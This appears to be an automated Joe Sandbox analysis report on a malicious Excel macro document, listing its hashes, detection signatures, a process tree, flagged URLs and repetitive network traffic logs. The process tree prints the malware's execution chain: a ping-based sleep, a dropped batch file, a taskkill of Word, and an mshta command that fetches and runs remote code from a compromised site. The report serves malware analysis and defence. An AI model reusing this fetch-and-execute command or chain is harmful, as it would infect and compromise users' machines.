Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls
Analysis ID:	684651
MD5:	3bc62bd8b910eb17b12a3b69fc050571
SHA1:	e4b91c0b407197bbfc6cbd1b6436a69277620db5
SHA256:	8e2a3f67543b17ea35bc2c3bbcdbb9100fda5cb2fb90e911bef2943f76dc2bef
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

Internet Provider seen in connection with other malware

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Installs a global mouse hook

Uses taskkill to terminate processes

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 5436 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

cmd.exe (PID: 5596 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 5768 cmdline: ping -n 8 127.0.0.1 MD5: 70C24A306F768936563ABDADB9CA9108)

cmd.exe (PID: 5168 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: F3BDBE3BB6F734E357235F4D5898582D)

taskkill.exe (PID: 404 cmdline: taskkill /f /im WINWORD.EXE MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

conhost.exe (PID: 480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mshta.exe (PID: 5520 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 7083239CE743FDB68DFC933B7308E80A)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Virustotal: Detection: 49%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Metadefender: Detection: 27%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	ReversingLabs: Detection: 41%

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3LMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/0_	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Qn	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtz0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6HQN	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0t6	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0fC:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0x	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#contatosG	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0=LMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0g	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.63	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6G	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6E	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0fC:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6N	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/Cher	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3Z	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0L	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/CherryFramework/style.css)6	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png&c	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3C	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt#J01	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngbXF	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: facextrade.com.br

Virustotal: Detection: 5%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49765 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: netdna.bootstrapcdn.com
Source: global traffic	DNS query: name: translate.google.com
Source: global traffic	DNS query: name: storage.ie6countdown.com

Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 142.250.181.238:443
